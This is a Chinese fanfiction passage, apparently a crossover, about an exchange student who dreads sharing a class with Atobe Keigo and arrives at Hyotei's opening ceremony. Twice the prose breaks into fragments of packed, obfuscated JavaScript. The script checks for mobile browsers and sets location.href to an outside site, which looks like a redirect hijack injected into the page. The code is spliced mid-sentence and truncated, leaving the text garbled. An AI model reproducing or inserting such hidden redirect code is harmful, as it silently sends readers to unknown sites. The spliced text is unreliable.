《迹部同学说谁想跟你做同学》 1. 01 四月三日,周一,月曜日。 高三第一学期开学第一天,清原雪绘坐在父母送她去往冰帝学园的车里。她皱眉歪靠在车厢后座,低下头,紧盯亮度已调至最大的手机。 屏幕上清晰显示一张表格,标题:“高三级部学生分班列表”,三号大小,MS Mincho字体。 是冰帝教务主任昨天才发给她的文档。 视线再往下移。毗邻标题下方,首行首列,赫然迸出一个无比显眼的名字—— “A班,迹部景吾,学号001”。 班级里排序最前,学号里排序最前,名单里排序最前。整张表格以他为开端,其上不存在任何一人的姓名能弹压在他头顶。 雪绘的目光久久凝视着第一行。 看见“A班”、“迹部景吾”的那一刻,呼吸霎时凝滞一小会儿。她不自觉地用拇指抹了抹那串名字,略微觉得人有点麻。 新学期尚未开始,棘手的问题便猝不及防地摆在了面前。 这位大少爷的张扬个性,她一向自认应付不了。然而,往后在冰帝交换学习的一年时间,她居然偏要与他待同一个班,不知道是算世事太过凑巧,还是算她倒霉运气不好。 她喃喃地直犯嘀咕。捧着手机的十根手指无处安放。于是,左手倒腾右手,她换了一下握手机的姿势。指尖一戳一戳地拨弄音量键。 雪绘此刻终于明白,自从得知她要由B班调往A班后,心头时不时硌绊着她,阴魂不散延续将近一星期,像有看不见的阴湿女鬼在背后纠缠的那种不稳当、不踏实感,究竟从何而来。 问:A班有什么让她感觉如此七上八下? 答:原来A班有迹部景吾啊,哈哈。 按照常理来讲,能和父亲的顶头上司,自身一家的衣食父母——迹部财团执行董事——的儿子就读于相同班级,实属千载难逢的天赐良机,建立亲近关系的绝佳窗口,应该感到庆幸。 换成其他人,恐怕早已高兴得在车上忍不住笑出了声。 但清原雪绘不会笑。 清原雪绘笑不出来。 运道给予她这个机会,是多少人上蹿下跳,又唱又跳,一步三叩头求都求不来的机会。 遗憾的是这个机会倒给她了,她不中用啊。 雪绘有些自嘲地想,心中五味杂陈。 产生这种情绪并非异想天开。因为她和迹部景吾的最近一次见面,仔细琢磨起来,似乎就称不上多和谐,多愉快。 三个月前,迹部财团的年终贺宴上,她与迹部景吾酣畅淋漓地当众面对面打了一架。 当然,不是那种肢体碰撞,叮里咣啷你扔我一只碗我砸你一个碟的双人物理互殴。 他们各自以国际象棋的棋盘为阵地,以己方的十六枚棋子为兵刃,每一步都是凌厉杀招,直奔着堵死对方所有生路的气势出手。 下到最后,双方棋盘近乎不剩几个活口,独留光杆司令也要一决胜负。 雪绘没想过那晚的棋局可以惨烈至此。事实上,迹部景吾一开始并不参与这场对弈。 他作为迹部财团唯一的继承人,像年会这类重头社交场合,是要被董事父亲引着接见各路人马的。各政、商精英围得他密不透风。他哪有闲情雅致,参与底下人打发时间的无聊把戏。 她是在和其他高层员工的儿子下这盘棋。 年会上的国际象棋游戏组局,男队vs女队,两大阵营对立。 经历女队多场惨痛连败后,她身负女队最沉重的期翼,天崩开局下拼尽全力,拿出毕生所学的绝技,和男队进行对战。 最终,她连赢男队三个人,把把战绩全面碾压,以极大优势帮助她们女队取得逆袭。 大胜翻盘之际,男队忽然翻脸不守武德,口口声声以男队比女队人少,双方实力不均衡的别扭理由,忙不迭把迹部景吾搬来做外援。 别说,你还真别说。 簇拥于迹部财团亚洲、欧洲、北美洲等各大区负责人中的迹部景吾,竟然真就肯撇下那一堆大区CEO,一口答应做外援的恳求。 被他这么一掺和,游戏性质不知不觉间发生了些幽微的变化。 当他大阔步走向她,撩起西装下摆,施施然落座于她对面时,雪绘瞬间醒悟过来,她即将下的哪里是一盘国际象棋,分明是一盘人情世故。 难说当时火速请迹部景吾来的那名男生,是否也怀抱了同样的想法。 正正经经下棋无法取胜,便试图采用象棋之外的其他东西,暗地里压制她一下。 很常见的伎俩。大家处于成年前的临门一脚,又被各自的人精父母熏陶,天长日久,多少也熟悉了名利场的潜规则。 钻营投机的习气逐渐在同龄人中蔓延。 原本她确实应如那位男生所愿,看在对方是董事儿子的份上,老老实实跳进这个阳谋的坑,老老实实直接输掉比赛。 可一旦跳坑,意味着她便要咽下一口气,咽下此前女队连败时,男队那边有人看似宽慰,实则阴阳怪气地嘴贱一句: ——“哎呀没关系啦,别太丧气,国际象棋这种前瞻性和逻辑性极强的游戏,你们女生赢不了不是很正常嘛”、“本来就不是你们女生的强项啦”的这口气。 问题恰好出在这里。 她咽不下这口气。 不要说迹部景吾,今天就算天照大神显灵,该咽不下的她也照样咽不下。 所以,她倔强地抛开这般那般的人情世故,顺带憋了一丝不服输的迁怒,执起白棋,冲着迹部景吾一通大杀特杀。 迹部景吾同样不遑多让。 他身姿笔挺地和她对坐,微抬下颏,以一种睥睨全场的眼神扫视棋盘。 接着,他傲然地执起一枚黑色车棋,轻轻敲了一下桌沿,于在场冰帝人自发的掌声和口号中,当即移动黑棋,调兵遣将,掐住她棋局里薄弱的命脉大举进犯。 他的招式看似稳健,实则暗藏杀机。一不留神,你斩我一匹马,我垒你一辆车。棋盘上顿时“血流成河”,赢家宝座轮流占据。 可惜男队过于落后,比分差距太大,加上她没顾着对手的地位就刻意收敛,纵使迹部景吾再给予男队极大的外力扶助,也依旧救不回来。 请了水平高超的强劲外援又怎样? 赢不了就是赢不了,她们女队仍然争夺到了最终的胜利。 结局尘埃落定,女队这边总算扬眉吐气。更有小姐妹倚仗优胜方的底气,毫不客气地回怼: “看看,我们清原多厉害。我下不赢是我水平有问题,你扫射全体女生是你眼睛不好使。有毛病赶紧去治吧你,别耽误病情!” 女队的尊严是赢回来了,但固执地故意不理会人情世故,也牵扯出了对等的副作用。 下完国际象棋之后,迹部景吾只和她交谈了三句话—— 第一句: “清原,你刚才掉的耳坠。自己收好。” 耳坠交还回来是暖热的,似乎被人捏在手心中有相当不短的时间。 第二句: “玩得这么兴奋,自己身上的东西不见了都不知道。” 第三句: “不过从前年开始,你好像很久没有用这种风格跟本大爷下过棋了。” 声音浮着说不清道不明的锐利和笑意,如同开刃不久的刀锋,金气凛凛:“怎么?今天闷不吭声的,突然就转脾气了?” 这是一个极具不确定性的评价。不肯定亦不否定,既不代表好,也不代表不好。态度捉摸不透最让人心里没底。 他施施然来,又施施然走。衣边剪影飘落,像干净剔透的钻石棱面中闪过刹那彩虹。 整场年会她再也没有见到他。 他也没有再和她闲聊半个字。 甚至年会结束的末尾,他跟着迹部董事为员工及其家属分发年会礼物,把属于她的那份亲自交到她手上时,也不曾和她多说只言片语。 眼神都懒得多余地分给她一丝一毫。 热血一下头,理智马上重新占领高地。 那名男生针对她的计谋,后知后觉地展现出威力。雪绘开始忍不住深思,控制不住地去猜测迹部景吾的真实想法。 平日被捧惯了的天之骄子,大概都年少气盛,认为掌控一切是理所当然。赢得不绝对,等于绝对没有赢。无法all in即是输。 她无从得知,迹部景吾会不会因她在众目昭彰下仍旧表现出桀骜、强势还不留情面的做法,而对她标记一些负面印象。 如果单只针对她一人倒也不要紧。看不惯她就看不惯吧,无所谓,合眼缘的事强求不来。 但万一,万一不小心波及到父亲呢? 他身份特殊,她免不了多考虑一步。虽然概率微乎其微,但万一呢?谁都不能保证这个后果必然不发生。多一分可能性,就多一分风险。 父亲的职业生涯如果出现哪怕一分归咎于她的波折,光想象一下,愧疚和自责便不能允许她无动于衷。 于是,她努力寻找令自己安心的理由,合情合理地认为,基于迹部家良好的家教,迹部景吾不至于太心胸狭隘,仅因象棋这件小事就要在小本本上记她一笔。 或许是她神经敏感了。或许年会上他不是不理睬她,只是因为业务繁忙,他没有富裕的精力顾及到她…… 捕风捉影,揣摩人心,着实太费脑筋。思维左右互搏,打来打去的好像永远找不到尽头。 …… 越思考越不幸。她感觉太阳穴在一抽、一抽地跳疼。手机屏幕盯太久,眼眶酸胀,溢出了几滴生理性眼泪。 烦人,她本就最不擅长这类弯弯绕绕。 雪绘不耐烦地摁灭手机,恹恹阖上眼皮。她疲倦地呼出一口气,指腹贴在额角,使劲地打着圈按揉太阳穴。 “在想什么呢,雪绘?” “我看你今天一上车就开始愁眉苦脸,长吁短叹的,好像老是提不起精神。” 坐在她身边,抱着电脑交流工作的父亲侧头望她一眼,开玩笑道:“是假期没玩够,牵挂着新买回来的游戏还没来得及通关就要上学了,所以感到很伤心吗?” “……我才没有这么想,爸爸你别凭空污我清白,”她懒怠地打了一个哈欠,顺嘴道,“只是觉得有些犯困,好想……睡觉。” “这才刚起床多久,你又困得想睡觉了?”前方驾驶位的母亲也开口,“雪绘,我昨天九点就让你去洗漱睡觉,好好休息。你自己说说看,你昨晚到底熬成几点钟?” 等不及她回答,母亲清原绫香女士的絮叨像炸火花一样噼里啪啦,一连串直往耳朵里钻。 “上次去汉医那里复诊,医生嘱咐了什么?支气管炎才痊愈没几天,反复强调要早睡早起,清淡饮食,增强免疫力,否则到时候感冒复发,又得来回折腾。” “这孩子,明知道今天开学,让昨晚早些睡觉,养足精神。嘴上倒是一个劲答应得信誓旦旦,也不知道晚上关了灯,躲被窝里究竟都在干些什么……” “好了绫香,大清早的,少说两句吧。” 父亲清原谦信低声维护,生怕声音过大吓着她似的:“我们也不是没当过学生。刚开学作息调整不过来,也是人之常情。” 雪绘没有动弹,眼前是一团五彩斑斓的黑色。她实在乏力,已经攒不够力气说话。整个人困倦到发不出半点声音。 她保持阂拢眼皮的仰躺姿势,有气无力地听父亲为自己无罪辩解。 手臂发软,抬不起来给父亲鼓掌撑场子,因此只能轻微地晃一下脑袋,在心里小声给父亲鼓掌撑场子,权当尽了做女儿的心意。 ——老爸,正确的,合理的,无可挑剔的。 火箭飞升尚且要掐表倒数,收假开学,怎么就不可以给个缓冲时间。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057805|162928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 连父亲休完长假,第一天回公司开会,也要在迹部董事的眼皮底下摸摸鱼,时而与她在Line上东拉西扯半晌,才能勘勘缓口气干工作。 她仅仅在车上睡个短暂的回笼觉,而已,算不上十恶不赦。 至于昨晚那本偷摸通宵阅读,激动得她翻来滚去热血直冲天灵盖的黑.手.党强取豪夺追妻火葬场小说…… 小事,不提也罢。 她理直气壮地朝车窗反方向偏头。 两秒之后,肩膀被轻柔地拍了拍。 “雪绘,”近靠身侧的语声温和低沉,“马上要抵达新学校了,再不起来醒醒神,妈妈等下真会生气的。” 清原雪绘:“……” 唤醒词输入,唤醒词正确。 回笼觉戛然而止。清醒程度,100%。 这回无法心安理得地当耳旁风了。雪绘慢慢睁开眼睛,赶在母亲的怒气值上升之前,伸展活络筋骨,将自己的状态调整到无可指摘。 “唔……起来了起来了……” 掌控好语气,拖长轻飘飘的尾调,显得无比听话乖孩子。 “妈妈,今天可是你签大单的好日子呢,”她伸了一下懒腰,音色里刻意添加鼻音,“一大早就发脾气不吉利,有损妈妈你旺盛的财运。” 平音微夹,对仗单押。掐灭萌芽的怒气小火苗属她手到擒来的技巧。 她的母亲清原绫香女士,典型是吃软不吃硬的一个人。母女相处十几年,辗转腾挪的术法早已手拿把掐。小小情绪,拿捏拿捏。 三句话,让把控方向盘的母亲舒展开严肃的神色,轻轻笑了一声。 “多大的人了,还喜欢跟我们撒娇。” 清原绫香摇头。语气无可奈何,眼弯却是向上拱起的弧度。 说着,她朝后视镜看一眼,信口问: “对了雪绘,这次交换去冰帝学习,校方把你安排进哪个班?B班吗?我记得你爸之前好像和我提过一嘴。” 雪绘沉默半晌,托着脸凝重地摇了摇头。 “原本定好要进B班的。不过发生了一些意外变动,现在又不是了。” 她垂目下视,食指卷一卷摊在膝上的笔记本:“上周冰帝教务主任临时发来一封邮件,说经他们慎重讨论,比起B班,最后还是觉得把我调往A班更合适。” 班级调换的情况,不谈及倒还风平浪静。一谈及,那股抓人的莫名其妙劲再次卷土重来。 虽然她不常踏进冰帝校区,也不常和冰帝学生接触,然而好歹是母校——秀知院学园的友校,两校之间交流频繁,她多少能从他人的言语闲话中了解冰帝的规制。 比如,为保证教学质量的公平,冰帝内部并不根据学生成绩的三六九等,划分出普通班和优等班。 每个班的生源素质非常平均,成绩区间呈相近的正态分布。师资、设备配置也大差不差,全方位做到一碗水端平。 也就是说,A班或者B班,对她和学校根本不存在太大区别。 把她从B班调进A班,似乎既不能带来任何实质性的积极意义,也不能对任何风险的规避作出贡献。横看竖看,简直多此一举的行为。 更别提,临近开学前一周才突兀地通知她。 毫无前因铺垫,不作详细说明。邮件末尾仅一句“调往A班学习”,咔,结束。 清原雪绘:“……” 不明白,不理解。 冰帝校领导们,到底慎重讨论了什么?或者说,到底有什么值得他们慎重讨论的? 无奈她一个交换生,不具备总览内幕的资格,也全然没有置喙的余地。她只能稀里糊涂地挠头,稀里糊涂地接受一切安排。 “A班?” 清原绫香瞟向右后方,换人点名。 “谦信,我记得你们财团的执行董事迹部先生的独子,那位迹部家的贵公子,是不是也在冰帝高三A班读书?” 清原谦信颔首:“嗯对,怎么了?” “没什么,”车辆左拐,她打开左转向灯,笑道,“只是觉得我们这一家人,好像无论如何都躲不开他们迹部家。” “你看,雪绘的爷爷奶奶,在迹部家的银行干到退休。你也在迹部财团混了二十年。现在,雪绘又要去和你上司的儿子做同学,可不就是躲不开么?” 清原谦信轻握住女儿的肩头,打趣道:“人与人之间全凭缘分嘛,和我一样,当初我也没想过能拿迹部财团的内推。” “和你一样?” 清原绫香揶揄着啧了一声。 “雪绘哪能和你一样?我的女儿,日后才不用辛苦给迹部财团卖命。” 妈妈,这种事情难讲得很啊。 雪绘面无表情地想。 躺平摆烂混吃混喝,靠父母国内外多处置产和信托啃老,她万万做不到。但凡试图在职业中出成果,有建树,和迹部财团打交道无可避免。 子公司,合作方,直接间接地被控股。三选一,总有一类逃不掉。 放眼望去,无论人活着还是死了的领域,三百六十行,无不掺杂迹部财团的影子。 假若将社会经济视为一棵树,普罗大众长在树上充作枝叶,迹部这类大财团便相当于深扎进泥土的根系。 树根是树的命脉。枝干能拔地长高几尺,茁壮与否,全被根茎一手把持。 “……哎。” “迹部财团”在眼前转来转去,像围着她嗡嗡转的小蜜蜂,挥也挥不开,赶也赶不走。 从“迹部财团”联系到“迹部景吾”是顺其自然的思路。一想起迹部景吾,好不容易摁下的隐忧和疑惑,又旧态复萌,像沉底的渣滓重新泛出水面。 雪绘苦兮兮地长叹一声,惆怅极了。 “爸爸,你说,现在我已经很不幸和你老板的儿子同班了,万一我再不小心当他的同桌,我应该怎么办才好?” 2. 02 雪绘不认为这是天马行空的胡想。 在入学冰帝这件事上,她有理有据地进行了一番推测—— 既然她能莫名其妙地被调往A班,那她进一步莫名其妙地去和迹部景吾做同桌,也不是完全没有可能。同班同学,好比一个池子里的鱼,几十分之一的概率不能不当回事。 她垂下头,悲戚戚地再度叹息一声。 到底是名清澈的中学生,社会化为零,缺乏同利益直接相关的高位者长期、朝夕相处的经验,所以想到这个可能性有些头疼。 雪绘抱着方枕,缩在角落里小声嘀嘀咕咕:“迹部君那种类型的个性,我感觉我八成不太能处得好……” 纵观她的朋友圈,包括千花、辉夜、御行、渚……每个人从行事方面都无法找出和他相通的共同点。根本没有能做类似的参照嘛! 但和她并排坐的老父亲似乎与她意见相左。 “为什么会担心处不好?” 他向她投去十分费解,又颇感好笑的一瞥:“该怎么办就怎么办呗。与人相交,有礼、有节、有边界就够了。我从小教的你一直做得很好,何必想太多太复杂,自寻烦恼。” 清源谦信从衣兜里扒拉扒拉,掏出几颗提神醒脑的薄荷糖。 “我看你从小也转了几次学,和同学们相处得都挺融洽。怎么现在当个交换生,换个同桌,反而把你弄得手足无措?” 他随手丢了颗薄荷糖给她。毫无预兆的迷你小绿弹来袭。雪绘一惊,本能地张开掌心,迅速出拳,精准抓握。 “难道你还想给我办出朵什么花来?” 雪绘发愁,愁得低头直抠糖纸:“我这不是怕哪里得罪了那位少爷,你千辛万苦才升任的首席技术官,不就被我办没了么……” 自从父亲被提拔为首席技术官以来,他们一家和迹部家的联系便逐渐变得紧密,连带她跟迹部景吾也有了些不多不少的接触。 刨除他头顶码成一厚摞的闪耀光环,主观上,凭借自身的观察和感受,她归类了一串专属于他的特殊标签: 她父亲老板的儿子,迹部大少爷,身负家族和财团一溜高层厚望的继承者,为人傲气招摇,骄矜,不可一世。 老子天下第一。 不说其他事迹,光从她观战秀知院和冰帝之间的网球练习赛,便足见一些蛛丝马迹。 偌大的赛场,他总是双方人员里最冒尖的那个。两手揣进裤兜,缓步踏入绿茵地,步伐自带一股煊赫气焰。 接着,中心被他大喇喇霸占。外套一抛,响指一打,春风得意地高举臂展指挥所有人。 像驻足高台上的教派领袖,甫一现身,无数眼光自发瞩目于他一人。当他抬起手挥动时,立刻引得脚下信服的臣民前赴后继,争相为他献上自己的狂热与忠诚。 “胜者是冰帝!赢者是迹部!” “胜者是冰帝!赢者是迹部!” 支持者的呐喊山呼海啸,排山倒海。 人与人的悲欢并不相通,不曾接受冰帝内部“迹部国王观”义务洗脑教育的雪绘,只觉得和热烈氛围格格不入。 口号声浪滔天地淹没她,一浪盖过一浪,迎面扑来,成为一根根芒刺,刺挠得她浑身像有甩尾巴的蝎子在爬。 坐立难安,几乎想立刻拔腿跑路。 想可以这样想,做却不能这样做。 大少爷在万众瞩目中最后大轴出场。她本人来都来了,即便像被强行摁头欣赏这出浮夸剧目,她也必须待在场地看完全程。 否则,半途溜号不幸被逮,下次迹部董事邀请她家做客,少爷存心要兴师问罪: “上次比赛你前几场还好好的,为什么一见到我就要跑?还跑得飞快?”,“本大爷这么让你看不顺眼?嗯?” 她都不知道该拿怎样的借口糊弄。 如同秾艳的玫瑰总带刺,锐气张扬的人身上,同样长着一层棱角锋利的壳。 靠得太近徒增风险。离得太远,又显得冷漠。其间深浅的把握够琢磨八百道物理题。 毕竟是董事亲儿子,板上钉钉的未来掌权者,现在也已经开始逐步练手财团的大小事务,拥有一定的话语权。 哪怕他不经意跟自己的董事父亲说上一两句,也足以为手下人增减极具分量的筹码。 天爷。 搞不好可能影响父亲的仕途。 她真是为父亲的职业发展操碎心。 没成想,父亲完全不加体谅她的诸多考量。 不体谅也罢了,甚至笑嘻嘻地插科打诨。 “想这些干什么,你一个小孩子,得罪人能得罪到哪里去。” “再说,一份工作而已,又不是多事关性命的东西。办没了就办没了,多大点事。” 他撕开包装纸,糖果嘎嘣一声扔嘴里:“真解雇我的话,正好去你妈妈的无人机公司打打下手,节省一下人工成本。免得你妈妈经常抱怨人手不够。” 母亲直球抛出一个婉拒:“别了,我们公司庙小,供不起您这尊迹部财团CTO的大佛,清原博士您还是另谋高就吧。” 父亲和母亲玩笑的目光交汇入后视镜。 转瞬即逝的安静后,一个人的哈哈大笑,重叠成两个人错落有致的哈哈大笑。 清原雪绘:= . = 大人是这样的,父亲只需兢兢业业做好工作就可以。而她作为学生,即将成为迹部大少爷的同班同学,要顾虑的细节就很多了。 ……想半天没想出个所以然。 最后她胡乱结尾。就这么着吧,太畏缩不自然反而失去分寸。真有什么事,到时候再说。 · 五分钟后,下立交桥过红绿灯,到达冰帝学园门口。开学首日,不到七点三十分,两侧车道已塞满款式各异的加长豪车。 绕学校三圈,才从窄缝里找到停车位。 冰帝教务主任鹰司礼子,正等候在校门口。 上学期秀知院递来的交换申请书中,贴有清原雪绘的蓝底证件照,右侧列一大版像打批发获取的众多荣誉,她尽数看得滚瓜烂熟。 不论【年级综排第一】、【Bpho物理竞赛金奖】,还是【正面人像照】,都极为亮眼出众。经她手的各校申请表很多,唯独这份留下相当浓墨重彩的一笔。 真人样貌与照片别无二致。她从人群一眼定位雪绘,立刻迈步迎上前。 “您们好,清原先生,清原夫人。” “我是冰帝学园的教务主任鹰司礼子,见到您们深感荣幸。” “您好,鹰司女士,劳烦您亲自迎接。” “早上好,鹰司老师。” 三位成年人有礼有节地寒暄几句。 雪绘装作乖巧安静地站旁边听,左耳朵进,右耳朵出,漫无目的地看面前人来人往。 新同学跑过去,新同学跑过来。 时间差不多,父母语重心长地叮嘱她,到冰帝要好好学习,好好听老师话,和大家团结友爱后,将她交给鹰司礼子,离开学校。 “清原同学,开学典礼马上要开始了,我们先去礼堂吧,”鹰司礼子亲昵揽住她,“典礼结束后,你再留下来等我一下。” 雪绘毫不迟疑地答应:“好的鹰司老师。” 新来的交换生,人生地不熟,最好的策略只有服从。 她跟随教务主任的步速,一路虎虎生风,快步抄小道。最后十米距离,主任因琐事被叫走。二减一,单独留她进入礼堂。 对着玻璃门的反光不动声色检查。 衣服没有起褶皱,完美。 有色唇彩不脱妆,完美。 单辫编发同样一丝不苟,完美。 其实她上学不爱花心思打扮,老嫌费事。早晨起床洗把脸,手指梳两下头发,抓起课本就往学校冲。眉毛、唇彩、发型……通通略过。有时间做造型不如多睡五分钟。 今天全凭母亲心情好,心血来潮地翻出妆发小工具,特意替她打理了精致妆容。一边为她编头发,一边温柔地在她耳边念叨,说新学校,新学期,要以新形象迎接新气象。 玻璃门中的人在对她眨眼笑。 她扬手扶正脑后漂亮的玫瑰插梳。左侧头看看,右侧头瞧瞧,悄悄咪咪自我欣赏一小会。 ——这枚插梳是她在迹部财团年会上,从迹部景吾手里接过的年会礼物。今天第一次佩戴。大小、款式、配色都非常契合她的个人风格。 雪绘深呼吸了几次,伴着胸腔轻微的痉挛,掀开帘幕,踏进礼堂内部。 冰帝礼堂共分上下三层,每一层呈阶梯型设计,铺成半圆形环抱讲台。空间高远空敞,容纳全校师生不成问题。 她一步一停,沿靠墙过道的地埋灯拾级踏下,规行矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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或许在一群冰帝校服中,猝然见到她这套迥异的秀知院校服,反应链瞬时中断实属正常。 但她猜测,迹部景吾不是真盯着她出神。 他在等,等她主动对他示意。无非因为漠无表情,所以神色看起来近似愣怔。 像他这样携带金钥匙和银徽章诞生的人,身份明面上摆着,向来是谋定而后动。习惯让别人以他为核心,举止上也要引人先朝他迈出开端的第一步才合他意。 岿然不动,却天然掌控主动权。 社交中的主从划分就是如此自然而然,心照不宣。这方面她一向随大流。 ——“该怎么办就怎么办。” “有礼、有节、有边界就够了。何必想太多太复杂,自寻烦恼。” 摒弃多余的犹豫。雪绘眨了眨眼睛,落落大方地弯起眉目,递给他一个诚恳热情的笑意。 自小随父母出入各种名流聚会,她深知哪个弧度让自己看着既礼貌又赏心悦目。肌肉记忆早已形成,屡试不爽,此刻亦不例外。 迹部景吾由等待的静止状态中行动。 他挑起眉峰,不疾不徐地抬高下颏,再矜默着点一点头,算作回应。 礼堂之内,到场师生越来越多。一重重模糊的身影,一重重阻隔。 他的视野穿过数层游移障碍物。大庭广众之下,他不看别处,眼神唯独平直地聚焦于她的方向,圈出一个范围中心。 雪绘沿着台阶继续下行。 天花板外圈,灯柱次第调到最大亮度。 团团萤火跳跃,聚集成亮堂堂的篝火。 那把篝火正烧在他头顶,淌泻出一条朦胧的光流,连绵不绝,一直流到他眼下那颗泪痣,晕开鲜润的灰。 “清原。” 隐约听见自己的名字。 不知是否单纯的错觉,她看见对面人在低位,用目光丈量她的距离,一寸一寸紧随她的步调。然后,他轻轻、缓慢地牵动嘴唇,似乎在此公众场合,有想对她且只对她一人交待的话。 不能十分确定,但视而不见尤其失礼。 她顿了一秒,稍显停滞的脚步又举步往前,朝迹部景吾走去。 3. 03 逐渐加快的步速从后往前,擦身而过的人影从前往后。白炽灯盏照得礼堂大亮。她踩过地板上铺陈的光带,阶梯一级一级引她向下。 清原雪绘注视着迹部景吾。 “借过借过!” “麻烦让一让,让一让——” 耳边响起的却是另一个男声。 来不及反应。掀起的罡风迅猛,自背后风卷残云地扫荡过她。 “砰”。 肩头被某种坚实的块头重重撞击,像被人狠劲打一钉耙。冲击性的钝痛感,像弹药炸开似地直扎进骨头缝里。 雪绘猝然跌跄了一步,步伐紧急刹车。 “啪嗒”。 整条手臂震得发麻发木。力道一松,怀中笔记本掉到地上。但她无暇去捡,直疼到鼻梁泛起胀酸感。她低着头,下意识地咬紧牙关忍耐,伸手去按揉肩后的痛点。 好家伙,这个年纪的男生,身体怎么比钢铁还硬邦邦的? 耳畔有人粗重地倒抽一口凉气。 “啊……对不起,对不起!” “实在抱歉,是我刚才太不小心!这位同学,你有没有被我伤到哪里?要不要我带你去校医务室看看?” 一截阴影爬过地面。 两秒以后,局促大声的道歉N连飞窜到身前。 雪绘循声仰头看那个人,视线从地板上移。 这名始作俑者怀抱的音箱、因愧疚下撇的嘴角,连同琥珀色像猫一样湿漉漉的圆润眼睛,一齐框进她的视野。 比较眼熟。 特别是发色,浅灰色调,记忆里有些痕迹。大概在某个地方见过一面。 她沉默了片刻,说:“你确实撞得我好痛,我手都快抬不起来了。” 男生的耳朵尖泛起绯红色。 “我不……对……对不起……” 卷翘的发尾软塌塌耷拉下来。嘴唇半张,微弱地嗫喏两下。五官可怜巴巴地皱成一团,更像只不慎打翻罐头而内疚得窝成毛球的布偶。 让人狠不下心责怪一丁点重话。 “……没关系,”她顿时心软,咽回生硬的言辞,语气平和不少,“幸好没什么大问题。” “我没受伤,不用去校医务室。” 同时关切委婉地提醒他:“礼堂台阶多,跨度大,麻烦这位同学下次注意看路,不然这么陡峭的地方,容易摔着。” 对方无心之失,致歉态度诚挚,且并未对她造成严重伤害。即使被撞瞬间再生气,现在迎视这张憨厚委屈的脸,无论如何也计较不起来。 算了,此事轻拿轻放。 初到冰帝第一天,就当结个善缘。 雪绘示意性地对他摆手,半蹲下身,伸长手臂去够飞到座椅下的笔记本。 “我来我来……不小心撞到你真的不好意思……”男生仍然在疯狂道歉。抱着音箱屈膝的姿势别扭得很。 “凤,怎么还在那边耽搁?” 台上调试设备的学生不明所以,只知道时间紧迫,冲他们的方向大喊:“开学典礼马上要开始了,快过来呀!” 雪绘瞥一眼讲台,及时按住他的动作。 “一个笔记本而已,我自己捡就好。” 她俯身拾起笔记本,掸开封面的尘灰:“你先过去吧,没关系。看起来你有比安慰我更重要的任务。” “啊,好、好的……” “冒冒失失撞到你真的对不起……非常不好意思……” 西装校裤下,两条长腿蹬出火星。 他像阵风一样席卷而来,又席卷而去。频频赔罪的话语一直贯穿到将音箱搬上讲台。 台上,数名学生手忙脚乱地调校设备。拍话筒,对着麦克风吹气,再试探性地说两句“hello,hello”,以测试设备是否处于最佳状态。 她对撞到她的男生留了心眼。一群扎堆复制黏贴的冰帝校服中,那团灰绿发丝便显得尤其惹人注目。奔来跑去,像一株绿植迎风招展。 胸前的十字架摆荡出一条弧线。 金属色的亮闪明明灭灭。接着,记忆开关打开。她终于想起自己是在哪个地方见过他。 ——上学期期中,秀知院学园和冰帝学园两校的网球部练习赛。 这位名叫凤长太郎的男生,似乎是迹部景吾所领导的冰帝网球部正选之一。比她低一年级,高二生,秀知院双打网球赛强有力的竞争敌手。 迹部景吾。 强提示性名称闪电般划过。 雪绘张圆虚眯的眼眸,冷不防回忆起自己的目的是什么—— ……哦对了对了,本该有正事要办。猝然被打岔,差点把重要事项抛到脑后。 方才迹部景吾有话要交待给她。 她现在位于冰帝,不在秀知院。而迹部景吾是冰帝的学生会会长。身处人家的地盘,面对掌握管辖权及决策权的主领的说明,她一个初来乍到的新人,有必要认真听取。 到哪个山头唱哪首歌,以免无知无觉间坏了道上的规矩,节外生枝又要惹出许多麻烦。 母亲当初本就极不赞同她来交换学习,觉得又远又累,数落她瞎折腾。是她一再坚持,据理力争好几回,母亲才勉强松口。她绝不能让父母帮她收拾烂摊子。 雪绘从台上的灰绿色收回视线,视线一转,急匆匆移到老位置,去找她现在最应该关注的灰紫色。 不太妙。 那个地方空落落的一片。 人影抹去,只剩雾蒙蒙的明黄亮光,从天花板簌簌悬垂而下,朦胧地张挂成一层鎏金色的透明纱帘。 …… 她扩大目标范围,朝四面八方仔细搜寻,仍一无所获。礼堂内交织着飞奔小跑的学生,唯独不见迹部景吾本人。 显而易见,她错过了和他谈话的时机。 但她并不觉得意外。 迹部景吾身兼学生会会长一职,在开学典礼这种重大场合,要他拿主意的琐事很多。三不五时被下边碰到难题又不敢擅作决定的干部请走,也是常有的情况。 周遭叽叽喳喳嘈杂起来。雪绘退到墙根,大致环视了礼堂总体形势。学生走动的身影渐渐平息,上下三层空位所剩无几。 典礼即将正式开始。 事已至此,先找个座位坐下吧。 雪绘掉转脚步,朝高处跳跃了几个阶梯。在她右手边,靠近过道边缘的一个座位没有人,空空荡荡的,好像可以被她占据。 她礼貌询问了一下邻座的同学,进一步确认这个位置是否确实无主。 邻座是名男生。他的外貌有两样标志性特点:蓝色头发和圆形镜框,说不出的文质彬彬。端坐的身姿也俊秀,温文尔雅得像藏书馆中一本束之高阁的蓝皮封面书。 和凤长太郎一样,此刻抬眼望向她的蓝发男生,她也感觉极为眼熟。 噢……不会又是冰帝网球部的正选吧? ……她今天捅冰帝网球部的窝了。 “这里没有人,请便。”他温吞地笑道。 雪绘礼尚往来地弯了弯眼尾:“好的,谢谢你。” 她理好垂落的长裙摆,握住扶手,不疾不徐地坐下。随后,摊开笔记本,按动圆珠笔,摆出一副有好多东西要写的架势。 笔尖悬停,迟迟无法落于纸面。 事实上,她不知道自己要记什么,甚至不清楚打开笔记本究竟要干什么。 